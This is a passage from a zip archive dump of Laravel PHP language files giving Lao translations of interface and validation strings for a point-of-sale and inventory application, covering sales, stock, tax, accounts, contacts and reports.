'ລາຄາ', 'activate' => 'ໃຊ້ງານ', 'deactivate' => 'ບໍ່ໃຊ້ງານ', ]; PK G �Z*@�Uo o lo/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'ດັດປັບສະຕັອກ', 'stock_adjustments' => 'ດັດປັບສະຕັອກ', 'list' => 'ລາຍການດັດປັບສະຕັອກ', 'add' => 'ເພີ່ມການດັດປັບສະຕັອກ', 'all_stock_adjustments' => 'ການດັດປັບສະຕັອກທັງໝົດ', 'search_product' => 'ຄົ້ນຫາສິນຄ້າເພື່ອດັດປັບສະຕັອກ', 'adjustment_type' => 'ປະເພດການດັດປັບ', 'normal' => 'ປົກກະຕິ', 'abnormal' => 'ຜິດປົກກະຕິ', 'total_amount' => 'ຈໍານວນທັງຫມົດ', 'total_amount_recovered' => 'ຈຳນວນທີ່ກູ້ຄືນທັງໝົດ', 'reason_for_stock_adjustment' => 'ເຫດຜົນ', 'stock_adjustment_added_successfully' => 'ເພີ່ມການດັດປັບສະຕັອກຮຽບຮ້ອຍແລ້ວ', 'search_products' => 'ຄົ້ນຫາສິນຄ້າ', 'delete_success' => 'ລຶບການດັດປັບສະຕັອກຮຽບຮ້ອຍແລ້ວ', 'view_details' => 'ເບິ່ງລາຍລະອຽດການດັດປັບສະຕັອກ', ]; PK G �Z�Up�6 6 lo/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'ໜ້າຫ໌ັກ', 'welcome_message' => 'ຍິນດີຕ້ອນຮັບ :ຊື່,', 'total_sell' => 'ຍອດຂາຍທັງໝົດ', 'total_purchase' => 'ຍອດຊື້ທັງໝົດ', 'invoice_due' => 'ໃບແຈ້ງໜີ້ຄົບກຳໜົດຊຳລະ', 'purchase_due' => 'ໃບສັ່ງຊື້ຄົບກຳໜົດຊຳລະ', 'today' => 'ມື້ນີ້', 'this_week' => 'ອາທິດນີ້', 'this_month' => 'ເດືອນນີ້', 'this_fy' => 'ປີການເງິນນີ້', 'sells_last_30_days' => 'ຍອດຂາຍ 30 ວັນຫຼ້າສຸດ', 'sells_current_fy' => 'ຍອດຂາຍປີການເງິນປະຈຸບັນ', 'total_sells' => 'ຍອດຂາຍທັງໝົດ (:ສະກຸນເງິນ)', 'product_stock_alert' => 'ການແຈ້ງເຕືອນສະຕັອກສິນຄ້າ', 'payment_dues' => 'ການຊຳລະເງິນຄົບກຳໜົດຊຳລະ', 'due_amount' => 'ກຳນົດຊຳລະຈຳນວນ', 'stock_expiry_alert' => 'ແຈ້ງເຕືອນສະຕັອກໝົດອາຍຸ', 'todays_profit' => 'ກຳໄລ ມື້ນີ້', ]; PK G �Z7�`X� � lo/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'ສິນຄ້າ', 'qty' => 'ຈຳນວນ', 'unit_price' => 'ລາຄາຕໍ່ຫນ່ວຍ', 'subtotal' => 'ລວມ', 'discount' => 'ສ່ວນຫຼຸດ', 'tax' => 'ອາກອນ', 'total' => 'ຍອດລວມ', 'invoice_number' => 'ໃບແຈ້ງໜີ້ ເລກທີ.', 'date' => 'ວນັທີ', 'receipt_settings' => 'ຕັງຄ່າໃບບິນ', 'receipt_settings_mgs' => 'ຕັ້ງຄ່າທີ່ກ່ຽວຂ້ອງກັບການຮັບທັງໝົດສຳຫຼັບສະຖານທີ່ນີ', 'print_receipt_on_invoice' => 'ພິມໃບແຈ້ງໜີ້ອັດຕະໂຍມັດຫຼັງຈາກສຳເລັດ', 'receipt_printer_type' => 'ປະເພດເຄື່ອງພິມໃບບິນ', 'receipt_settings_updated' => 'ຕັ້ວຄ່າໃບບິນສຳເລັດ', ]; PK G �Z�ߟ#z z lo/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'ອັດຕາອາກອນ', 'manage_your_tax_rates' => 'ຈັດການອັດຕາອາກອນ', 'all_your_tax_rates' => 'ອັດຕາພາສີທັງໝົດ ', 'name' => 'ຊື່', 'rate' => 'ອັດຕາອາກອນ %', 'added_success' => 'ເພີ່ມອັດຕາອາກອນຮຽບຮ້ອຍແລ້ວ', 'updated_success' => 'ປັບປຸງອັດຕາອາກອນຮຽບຮ້ອຍແລ້ວ', 'deleted_success' => 'ລຶບອັດຕາອາກອນຮຽບຮ້ອຍແລ້ວ', 'add_tax_rate' => 'ເພີ່ມອັດຕາອາກອນ', 'edit_taxt_rate' => 'ແກ້ໄຂອັດຕາອາກອນ', 'add_tax_group' => 'ເພີ່ມກຸ່ມອາກອນ', 'tax_group_added_success' => 'ເພີ່ມກຸ່ມອາກອນຮຽບຮ້ອຍແລ້ວ', 'tax_group_updated_success' => 'ປັບປຸງກຸ່ມອາກອນຮຽບຮ້ອຍແລ້ວ', 'tax_groups' => 'ກຸ່ມອາກອນ', 'edit_tax_group' => 'ແກ້ໄຂກຸ່ມອາກອນ', 'sub_taxes' => 'ອາກອນຍ່ອຍ', 'can_not_be_deleted' => 'ອັດຕາອາກອນນີ້ເປັນຂອງບາງກຸ່ມພາສີ', ]; PK G �Z�g�Y� � lo/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'ໝວດໝູ່', 'manage_your_categories' => 'ຈັດການໜວດໝູ່', 'all_your_categories' => 'ໝວດໝູ່ທັງໝົດ', 'category' => 'ໝວດໝູ່', 'category_name' => 'ຊື່ໝວດໝູ່', 'code' => 'ລະັດໝວດໝູ່', 'add_as_sub_category' => 'ເພີ່ມເປັນໝວດໝູ່ຍ່ອຍ', 'select_parent_category' => 'ເລືອກໝວກໝູ່ຫຼັກ', 'added_success' => 'ເພີ່ມໝວດໝູ່ຫຼັກຮຽບຮ້ອຍ', 'updated_success' => 'ປັບປຸງໜວດໝູ່ຮຽບຮ້ອຍ', 'deleted_success' => 'ລົບໝວດໝູ່ຮຽບຮ້ອຍ', 'add_category' => 'ເພີ່ມໝວດໝູ່', 'edit_category' => 'ແກ້ໄຂໜວດໝູ່', ]; PK G �Z�ƕ^� � lo/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'ຍີ່ຫໍ້', 'manage_your_brands' => 'ຈັດການຍີ່ຫໍ້', 'all_your_brands' => 'ຍີ່ຫໍ້ທັງໝົດ', 'note' => 'ໝາຍເຫດ', 'brand_name' => 'ຊື່ຍີ່ຫໍ້', 'short_description' => 'ຄຳອະທິບາຍສັ້ນ', 'added_success' => 'ເພີ່ມຍີ່ຫໍ້ສຳເລັດແລ້ວ', 'updated_success' => 'ປັບປຸງຍີ່ຫໍ້ສຳເລັດແລ້ວ', 'deleted_success' => 'ລົບຍີ່ຫໍ້ສຳເລັດແລ້ວ', 'add_brand' => 'ເພີ່ມຍີ່ຫໍ້', 'edit_brand' => 'ແກ້ໄຂຍີ່ຫໍ້', ]; PK G �Z���" " lo/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'ຂໍ້ມູນເຫຼົ່ານີ້ບໍ່ກົງກັບຂໍ້ມູນຂອງພວກເຮົາ', 'throttle' => 'ມີຄວາມພະຍາຍາມເຂົ້າລະບົບຫຼາຍເກີນໄປ. ກະລຸນາລອງໃໝ່ໃນອີກ :seconds seconds.', ]; PK G �Z; `* `* lo/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => 'The :attribute ຕ້ອງຍອມໄດ້ຮັບການຍອມຮັບ', 'active_url' => 'The :attribute ບໍ່ແມ່ນ URL ທີ່ຖືກຕ້ອງ.', 'after' => 'The :attribute ຕ້ອງເປັນມື້ຫຼັງຈາກ :date.', 'after_or_equal' => 'The :attribute ຕ້ອງເປັນວັນທີຫລັງຈາກຫລືເທົ່າກັບ :date.', 'alpha' => 'The :attribute ອາດມີຕົວອັກສອນເທົ່ານັ້ນ.', 'alpha_dash' => 'The :attribute ອາດຈະປະກອບດ້ວຍ ຕົວອັກສອນ, ຕົວເລກ, - ແລະ _.', 'alpha_num' => 'The :attribute ອາດຈະປະກອບດ້ວຍ ຕົວອັກສອນ ແລະ ຕົວເລກ.', 'array' => 'The :attribute ຈະຕ້ອງເປັນ array.', 'before' => 'The :attribute ຕ້ອງເປັນວັນກ່ອນ :date.', 'before_or_equal' => 'The :attribute ຕ້ອງເປັນວັນກ່ອນຫລືເທົ່າກັບ :date.', 'between' => [ 'numeric' => 'The :attribute ຕ້ອງຢູ່ລະຫວ່າງ :min ແລະ :max.', 'file' => 'The :attribute ຕ້ອງຢູ່ລະຫວ່າງ :min ແລະ :max kilobytes.', 'string' => 'The :attribute ຕ້ອງຢູ່ລະຫວ່າງ :min ແລະ :max characters.', 'array' => 'The :attribute ຕ້ອໃມີຝນລະຫວ່າງ :min and :max ລາຍການ.', ], 'boolean' => 'The :attribute ຟິວນີ້ຕ້ອງເປັນຖືກ ຫຼື ຜິດ.', 'confirmed' => 'The :attribute ການຢືນຢັນບໍ່ກົງກັນ.', 'date' => 'The :attribute ບໍ່ແມ່ນວັນທີທີ່ຖືກຕ້ອງ.', 'date_equals' => 'The :attribute ຕ້ອງເປັນວັນທີ່ເທົ່າກັບ :date.', 'date_format' => 'The :attribute ບໍ່ກົງກັບຮູບແບບ :format.', 'different' => 'The :attribute ແລະ :other ຕ້ອງຕ່າງກັນ.', 'digits' => 'The :attribute ຕ້ອງເປັນ :digits ຕົວເລກ.', 'digits_between' => 'The :attribute ຕ້ອງຢູ່ລະຫວ່າງ :min and :max ຕົວເລກ.', 'dimensions' => 'The :attribute ຂະໜາດຮູບພາບບໍ່ຖືກຕ້ອງ.', 'distinct' => 'The :attribute ຟິວມີຄ່າຊໍ້າກັນ.', 'email' => 'The :attribute ຕ້ອງເປັນທີ່ຢູ່ e-mail ທີ່ຖືກຕ້ອງ.', 'ends_with' => 'The :attribute ຕ້ອງລົງທ້ານດ້ວຍສິ່ງໃດສິ່ງນຶ່ງດັ່ງຕໍໄປນີ້: :values', 'exists' => 'ທີ່ເລືອກ :attribute ບໍ່ຖືກຕ້ອງ.', 'file' => 'The :attribute ຕ້ອງເປັນໄຟລ.', 'filled' => 'The :attribute ຟິວຕ້ອງມີຄ່າ.', 'gt' => [ 'numeric' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າ :value.', 'file' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າ :value kilobytes.', 'string' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າ :value characters.', 'array' => 'The :attribute ຕ້ອງມີຫຼາຍກວ່າ :value ລາຍການ.', ], 'gte' => [ 'numeric' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າຫຼືເທົ່າກັນ :value.', 'file' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າຫຼືເທົ່າກັນ :value kilobytes.', 'string' => 'The :attribute ຈະຕ້ອງໃຫຍ່ກວ່າຫຼືເທົ່າກັນ :value characters.', 'array' => 'The :attribute ຕ້ອງມີ :value ລາຍການ ຫຼື ຫຼາຍກວ່າ.', ], 'image' => 'The :attribute ຕ້ອງເປັນຮູບພາບ.', 'in' => 'The ເລືຶອກ :attribute ບໍ່ຖືກຕ້ອງ.', 'in_array' => 'The :attribute ບໍ່ມີຟິວໃນ :other.', 'integer' => 'The :attribute ຕ້ອງເປັນ integer.', 'ip' => 'The :attribute ຕ້ອງເປັນທີ່ຢູ່ IP ທີ່ຖືກຕ້ອງ.', 'ipv4' => 'The :attribute ຕ້ອງເປັນທີ່ຢູ່ IP IPv4 ທີ່ຖືກຕ້ອງ.', 'ipv6' => 'The :attribute ຕ້ອງເປັນທີ່ຢູ່ IP IPv6 ທີ່ຖືກຕ້ອງ.', 'json' => 'The :attribute ຕ້ອງເປັນທີ່ຢູ່ IP JSON string.', 'lt' => [ 'numeric' => 'The :attribute ຕ້ອງນ້ອຍກວ່າ :value.', 'file' => 'The :attribute ຕ້ອງນ້ອຍກວ່າ :value kilobytes.', 'string' => 'The :attribute ຕ້ອງນ້ອຍກວ່າ :value characters.', 'array' => 'The :attribute ຕ້ອງມີນ້ອຍກວ່າ :value ລາຍການ.', ], 'lte' => [ 'numeric' => 'The :attribute ຕ້ອງນ້ອຍກວ່າຫລືເທົ່າກັບ :value.', 'file' => 'The :attribute ຕ້ອງນ້ອຍກວ່າຫລືເທົ່າກັນ :value kilobytes.', 'string' => 'The :attribute ຕ້ອງນ້ອຍກວ່າຫລືເທົ່າກັນ :value characters.', 'array' => 'The :attribute ຕ້ອງມີນ້ອຍກວ່າ :value ລາຍການ.', ], 'max' => [ 'numeric' => 'The :attribute ອາດຈະບໍ່ຫຼາຍກ່ວາ :max.', 'file' => 'The :attribute ອາດຈະບໍ່ຫຼາຍກ່ວາ :max kilobytes.', 'string' => 'The :attribute ອາດຈະບໍ່ຫຼາຍກ່ວາ :max characters.', 'array' => 'The :attribute ອາດຈະບໍ່ມີຫຼາຍກ່ວາ :max ລາຍການ.', ], 'mimes' => 'The :attribute ຕ້ອງເປັນໄຟລປະເພດ: :values.', 'mimetypes' => 'The :attribute ຕ້ອງເປັນໄຟລປະເພດ: :values.', 'min' => [ 'numeric' => 'The :attribute ຕ້ອງມີຢ່າງໜ້ອຍ :min.', 'file' => 'The :attribute ຕ້ອງມີຢ່າງໜ້ອຍ :min kilobytes.', 'string' => 'The :attribute ຕ້ອງມີຢ່າງໜ້ອຍ :min characters.', 'array' => 'The :attribute ຕ້ອງມີຢ່າງໜ້ອຍ :min ລາຍການ.', ], 'not_in' => 'The ທີ່ເລືອກ :attribute ບໍ່ຖືກຕ້ອງ.', 'not_regex' => 'The :attribute ຮູບແບບບໍ່ຖືກຕ້ອງ.', 'numeric' => 'The :attribute ຕ້ອງເປັນຕົວເລກ.', 'present' => 'The :attribute ຕ້ອງມີຟິວ.', 'regex' => 'The :attribute ຮູບແບບບໍ່ຖືກຕ້ອງ.', 'required' => 'The :attribute ຈຳເປັນຕ້ອງໃສ່.', 'required_if' => 'The :attribute ຕ້ອງລະບຸຂໍ້ມູນເມື່ອ :other ແມ່ນ :value.', 'required_unless' => 'The :attribute ຈຳເປັນຕ້ອງໃສ່ຂໍ້ມູນ :other ຢູ່ໃນ :values.', 'required_with' => 'The :attribute ຕ້ອງລະບຸຂໍ້ມູນເມື່ອ :values ແມ່ນປັດຈຸບັນ.', 'required_with_all' => 'The :attribute ຕ້ອງລະບຸຂໍ້ມູນເມື່ອ :values ແມ່ນປັດຈຸບັນ.', 'required_without' => 'The :attribute ຕ້ອງລະບຸຂໍ້ມູນເມື່ອ :values ບໍ່ແມ່ນປັດຈຸບັນ.', 'required_without_all' => 'The :attribute ຕ້ອງລະບຸຂໍ້ມູນໃນຟິວເມື່ອບໍ່ມີ :values ແມ່ນປັດຈຸບັນ.', 'same' => 'The :attribute ແລະ :other ຕ້ອງກົງກັນ.', 'size' => [ 'numeric' => 'The :attribute ຕ້ອງເປັນ :size.', 'file' => 'The :attribute ຕ້ອງເປັນ :size kilobytes.', 'string' => 'The :attribute ຕ້ອງເປັນ :size characters.', 'array' => 'The :attribute ຕ້ອງປະກອບດ້ວຍ :size ລາຍການ.', ], 'starts_with' => 'The :attribute ຕ້ອງເລີ່ມດ້ວຍສິ່ງໃດນຶ່ງດັ່ງຕໍ່ໄປນີ້: :values', 'string' => 'The :attribute ຕ້ອງເປັນ string.', 'timezone' => 'The :attribute ຕ້ອງເປັນເຂດທີ່ຖືກຕ້ອງ.', 'unique' => 'The :attribute ຖືກປະຕິບັດແລ້ວ.', 'uploaded' => 'The :attribute ລົ້ມເຫຼວໃນການອັບໂຫລດ.', 'url' => 'The :attribute ຮູບແບບບໍ່ຖືກຕ້ອງ.', 'uuid' => 'The :attribute ຕ້ອງເປັນ UUID ທີ່ຖືກຕ້ອງ.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap our attribute placeholder | with something more reader friendly such as "E-Mail Address" instead | of "email". This simply helps us make our message more expressive. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Only :qty :unit available', 'this_field_is_required' => 'This field is required', ], ]; PK G �Z��� lo/account.phpnu �[��� <?php return [ 'account' => 'ບັນຊີ', 'manage_your_account' => 'ຈັດການບັນຊີຂອງທ່ານ', 'all_accounts' => 'ບັນຊີທັງໝົດ', 'account_number' => 'ເລກບັນຊີ', 'add_account' => 'ເພີ່ມບັນຊີ', 'account_created_success' => 'ສ້າງບັນຊີຮຽບຮ້ອຍ', 'account_updated_success' => 'ປັບປຸງບັນຊີຮຽບຮ້ອຍ', 'edit_account' => 'ແກ້ໄຂບັນຊີ', 'account_closed_success' => 'ປິດບັນຊີຮຽບຮ້ອຍ', 'closed' => 'ປິດ', 'list_accounts' => 'ບັນຊີລາຍຊື່', 'opening_balance' => 'ເປີດຍອດເງິນ', 'account_book' => 'ປື້ມບັນຊີ', 'credit' => 'Credit', 'debit' => 'Debit', 'account_name' => 'ຊື່ບັນຊີ', 'transaction_type' => 'ປະເພດການເຮັດທຸລະກຳ', 'fund_transfer' => 'ການໂອນເງິນ', 'selected_account' => 'ບັນຊີທີ່ເລືອກ', 'transfer_to' => 'ໂອນໄປທີ່', 'fund_transfered_success' => 'ໂອນເງິນສຳເລັດ', 'deposit' => 'ຝາກເງິນ', 'deposited_successfully' => 'ຈຳນວນເງິນທີ່ຝາກຮຽບຮ້ອຍ', 'from' => 'ຈາກ', 'to' => 'ເຖິງ', 'balance_sheet' => 'ໃບດຸ່ນດ່ຽງ', 'liability' => 'ໜີ້', 'assets' => 'ຊັບສິນ', 'supplier_due' => 'ຄົບກຳນົດການຊຳລະຂອງຜູ້ສະໜອງ', 'customer_due' => 'ຄົບກຳນົດການຊຳລະຂອງລູກຄ້າ', 'account_balances' => 'ຍອດຄົງເຫຼືອໃນບັນຊີ', 'total_assets' => 'ຊັບສິນທັງໝົດ', 'total_liability' => 'ໜີ້ສິນທັງໝົດ', 'trial_balance' => 'ຍອດທົດລອງ', 'payments_not_linked_with_account' => 'Total <b>:payments</b> ການຈ່າຍເງິນບໍ່ໄດ້ເຊື່ອມໂຍງກັບບັນຊີໃດໆ.', 'saving_current' => 'ບັນຊີຝາກປະຫຍັດ/ລາຍວັນ', 'capital' => 'ທຶນ', 'not_applicable' => 'ບໍ່ກ່ຽວຂ້ອງ', 'account_type' => 'ປະເພດຂອງບັນຊີ', 'accounts' => 'ບັນຂີ', 'capital_accounts' => 'ບັນຊີທຶນ', 'deposit_from' => 'ຝາກເງິນຈາກ', 'no_capital_account_created' => 'ບໍ່ມີບັນຊີທຶນທີ່ໃຊ້ງານຢູ່.', 'payment_account_report' => 'ລາຍງານບັນຊີການຊຳລະເງິນ', 'invoice_ref_no' => 'ເລກໃບແຈ້ງໜີ້ /ເລກອ້າງອີງ', 'payment_ref_no' => 'ເລກອ້າງອີງການຊໍາລະເງິນ.', 'payment_for' => 'ຊໍາລະເງິນສຳຫຼັບ', 'link_account' => 'ເຊື່ອມໂຍງບັນຊີ', 'account_linked_success' => 'ເຊື່ອມໂຍງບັນຊີຮຽບຮ້ອຍ', 'view_details' => 'ເບິ່ງລາຍລະອຽດ', ]; PK G �Zާb�. . lo/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« ກ່ອນໜ້າ', 'next' => 'ຕໍ່ໄປ »', ]; PK G �Z�nꍬ � lo/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'ສັນຍາ', 'name' => 'ຊື່', 'contact' => 'ສັນຍາ', 'manage_your_contact' => 'ຈັດການສັນຍາຂອງທ່ານ', 'all_your_contact' => 'ສນຍາມງໝົດຂອງທ່ານ', 'add_contact' => 'ເພີ່ມສັນຍາໃໝ່', 'contact_type' => 'ປະເພດຂອງສັນຍາ', 'tax_no' => 'ເລກພາສີ', 'pay_term' => 'ເງື່ອນໄຂການຊໍາລະເງິນ', 'pay_term_period' => 'ໄລະຍະເວລາໃນການຊໍາລະເງິນ', 'mobile' => 'ໂທລະສັບ', 'landline' => 'ຕັ້ງໂຕະ', 'alternate_contact_number' => 'ເບີໂທຕິດຕໍ່ສຳຮອງ', 'edit_contact' => 'ແກ້ໄຂສັນຍາ', 'added_success' => 'ເພີ່ມສັນຍາຮຽບຮ້ອຍແລ້ວ', 'updated_success' => 'ປັບປຸງສັນຍາຮຽບຮ້ອຍ', 'deleted_success' => 'ລົບສັນຍາຮຽບຮ້ອຍ', 'add_new_customer' => 'ເພີ່ມລູກຄ້າໃໝ່', 'view_contact' => 'ເບິ່ງສັນນາ', 'contact_info' => ':ເບິ່ງລາຍລະອຽດສັນຍາ', 'all_purchases_linked_to_this_contact' => 'ການຊື້ທັງໝົດທີ່ກ່ຽວຂ້ອງກັບສັນຍານີ້້', 'all_sells_linked_to_this_contact' => 'ການຂາຍທັງໝົດທີ່ກ່ຽວຂ້ອງກັບສັນຍານີ້້', 'total_purchase_due' => 'Tກຳນົດຈ່າຍການຊື້ທັງໝົ້ດ', 'pay_due_amount' => 'ຈຳນວນເງິນທີ່ຈ່າຍຕາມກຳນົດ', 'total_paid' => 'ຈ່າຍທັງໝົດ', 'total_purchase_paid' => 'ການຊໍາລະເງິນຊື້ລວມທັງໝົດ', 'total_sale_paid' => 'ການຊໍາລະເງິນຂາຍທັງໝົດ', 'total_sale_due' => 'ຍອດຂາຍຄົບກຳນົດ', 'customer' => 'ລູກຄ້າ', ]; PK G �Z� �v v lo/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'ຂາຍ', 'sells' => 'ຂາຍ', 'list_sale' => 'ລາຍການຂາຍ', 'add_sale' => 'ເພີ່ມການຂາຍ', 'pos_sale' => 'POS', 'draft_added' => 'ເພີ່ມຮ່າງສຳເລັດ', 'invoice_added' => 'ເພີ່ມໃບແຈ້ງໜີ້ສຳເລັດ', 'item' => 'ລາຍການ', 'total' => 'ລວມ', 'order_tax' => 'ໃບອາກອນສັ່ງຊື້', 'discount' => 'ສ່ວນຫຼຸດ', 'total_payable' => 'ເຈົ້າໜີ້ທັງໝົດ', 'cancel' => 'ຍົກເລີກ', 'draft' => 'ຮ່າງ', 'finalize' => 'ຈ່າຍ & ຊຳລະເງິນ', 'express_finalize' => 'ດ່ວນ <br/>ຊຳລະເງິນ', 'product' => 'ສິນຄ້າ', 'products' => 'ສິນຄ້າ', 'unit_price' => 'ຫົວໜ່ວຍລາຄາ', 'qty' => 'ຈຳນວນ', 'subtotal' => 'ຜົນລວຍຍ່ອຍ', 'pos_sale_added' => 'ພີ່ມການຂາຍສຳເລັດແລ້ວ', 'price_inc_tax' => 'ລາຄາ ລວມ.ອາກອນ', 'tax' => 'ອາກອນ', 'edit_discount' => 'ແກ້ໂຂສ່ວນຫຼຸດ', 'edit_order_tax' => 'ແກ້ໄຂອາກອນການສັ່ງ', 'discount_type' => 'ປະເພດສ່ວນຫຼຸດ', 'discount_amount' => 'ຈຳນວນສ່ວນຫຼຸດ', 'no_recent_transactions' => 'ບໍ່ມີທຸລະກຳຫຼ້າສຸດ', 'final' => 'ສຸດທ້າຍ', 'invoice_no' => 'ໃບແຈ້ງໜີເລກທີ .', 'customer_name' => 'ຊື່ລູກຄ້າ', 'payment_status' => 'ສະຖານະການຊຳລະເງິນ', 'status' => 'ສະຖານະ', 'total_amount' => 'ຍອດລວມທັງໝົດ', 'total_paid' => 'ຍອດລວມທີ່ຈ່າຍ', 'total_remaining' => 'ຍອດລວມທີ່ເຫຼືອ', 'payment_info' => 'ຂໍ້ມຸນການຊໍາລະເງິນ', 'drafts' => 'ຮ່າງ', 'all_drafts' => 'ຮ່າງທັງໝົດ', 'sell_details' => 'ລາຍລະອຽດການຂາຍ', 'payments' => 'ການຊຳລະເງິນ', 'amount' => 'ຈຳນວນເງິນ', 'payment_mode' => 'ໂໝດການຊໍາລະເງິນ', 'payment_note' => 'ໃບເສັດການຊຳລະເງິນ', 'sell_note' => 'ໃບເສັດການຂາຍ', 'staff_note' => 'ໃບເສັດພະນັກງານ', 'draft_updated' => 'ຮ່າງປັບປຸງຮຽບຮ້ອຍແລ້ວ', 'pos_sale_updated' => 'ປັບປຸງການຂາຍຮຽບຮ້ອຍແລ້ວ', 'location' => 'ສະຖານທີ່', 'add_payment_row' => 'ເພີ່ມແຖວການຊໍາລະເງິນ', 'finalize_payment' => 'ການຈ່າຍເງິນສຸດທ້າຍ', 'sale_date' => 'ວັນທີຂາຍ', 'list_pos' => 'ລາຍການ POS', 'edit_sale' => 'ແກ້ໄຂການຂາຍ', 'shipping' => 'ການຂົນສົ່ງ', 'shipping_details' => 'ລາຍລະອຽດການຂົນສົ່ງ', 'shipping_charges' => 'ຄ່າຂົນສົ່ງ', ]; PK G �Z3Hz%J J lo/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'ລາຍງານ', 'purchase_sell_report' => 'ຊື້ & ຂາຍ', 'purchase_sell' => 'ລາຍງາຍ ການຊື້ & ຂາຍ', 'purchase_sell_msg' => 'ລາຍລະອຽດ ການຊື້ & ຂາຍ ສຳລັບຊ່ວງວັນທີທີ່ເລືອກ', 'total_purchase' => 'ຍອດຊື້ທັງໝົດ', 'purchase_inc_tax' => 'ຊື້ລວມທັງອາກອນ', 'total_sell' => 'ຍອດຂາຍ', 'sell_inc_tax' => 'ຂາຍລວມທັງອາກອນ', 'purchase_due' => 'ກຳນົດກຳາຊື້', 'sell_due' => 'ກຳນົດການຂາຍ', 'overall' => 'ລວມ (ການຂາຍ-ການຊື້)', 'sell_minus_purchase' => 'ການຂາຍ - ການຊື້', 'difference_due' => 'ຈຳນວນເງິນທີ່ຕ້ອງຊໍາລະ', 'customer' => 'ລູກຄ້າ', 'supplier' => 'ປູ້ສະໜອງ', 'total_due' => 'ກຳນົດຊໍາລະ', 'contacts' => 'ລາຍງານ ຜູ້ສະໜອງ & ລູກຄ້າ', 'contact' => 'ສັນຍາ', 'stock_report' => 'ລາຍງານ ສະຕັອກ', 'products' => 'ສິນຄ້າ', 'current_stock' => 'ສະຕັອກປັດຈຸບັນ', 'total_unit_sold' => 'ລວມຍອດທີ່ຂາຍໝົດແລ້ວ', 'tax_report' => 'ລາຍງານອາກອນ', 'tax_report_msg' => 'ລາຍ/ະອຽດພາສີສຳຫຼັບຊ່ວງວັນທີທີ່ເລືອກ', 'input_tax' => 'ອາກອນເຂົ້າ', 'output_tax' => 'ອາກອນອອກ', 'tax_overall' => 'ລວມ (ເຂົ້າ - ອອກ)', 'trending_products' => 'ສິຍຄ້າຍອດນິຍົມ', 'apply_filters' => 'ໃຊ້ຕົວກອງ', 'filters' => 'ກັ່ນຕອງ', 'expense_report' => 'ລາຍງານ ຄ່າໃຊ້ຈ່າຍ', 'total_expense' => 'ຄ່າໃຊ້ຈ່າຍທັງໝົດ', 'others' => 'ອື່ນໆ', 'all' => 'ທັງໝົດ', 'top_trending_products' => 'ສິນຄ້າຍອດນິຍົມ', 'all_locations' => 'ທຸກໆສະຖານທີ່', 'stock_adjustment_report' => 'ລາຍງານ ການດັດປັບສະຕັອກ ', 'total_stock_adjustment' => 'ລວມການດັດປັບສະຕັອກ', 'total_recovered' => 'ຍອດເງິນທີ່ກູ້ຄືນທັງໝົດ', 'total_normal' => 'ຍອດລວມປົກກະຕິ', 'total_abnormal' => 'ຍອດລວມຜິດປົກກະຕິ', 'register_report' => 'ລາຍງານການລົງທະບຽນ', 'open_time' => 'ເວລາເປີດ ', 'close_time' => 'ເວລາປິດ', 'user' => 'ຜູ້ໃຊ້', 'all_users' => 'ຜູ້ໃຊ້ງານທັງໝົດ', 'sales_representative' => 'ລາຍງານຕົວແທນຂາຍ', 'sales_representative_expenses' => 'ຄ່າໃຊ້ຈ່າຍທັງໝົດທີ່ກ່ຽວຂ້ອງກັບຕົວແທນຂາຍ', 'summary' => 'ສະຫຼຸບລວມ', 'date_range' => 'ຊ່ວງວັນທີ', 'stock_expiry_report' => 'ລາຍງານສະຕັອກໝົດອາຍຸ', 'stock_left' => 'ສະຕັອກທີ່ເຫຼືອ', 'expired' => 'ໝົດອາຍຸ', 'view_stocks' => 'ເບິ່ງສະຕັອກ', 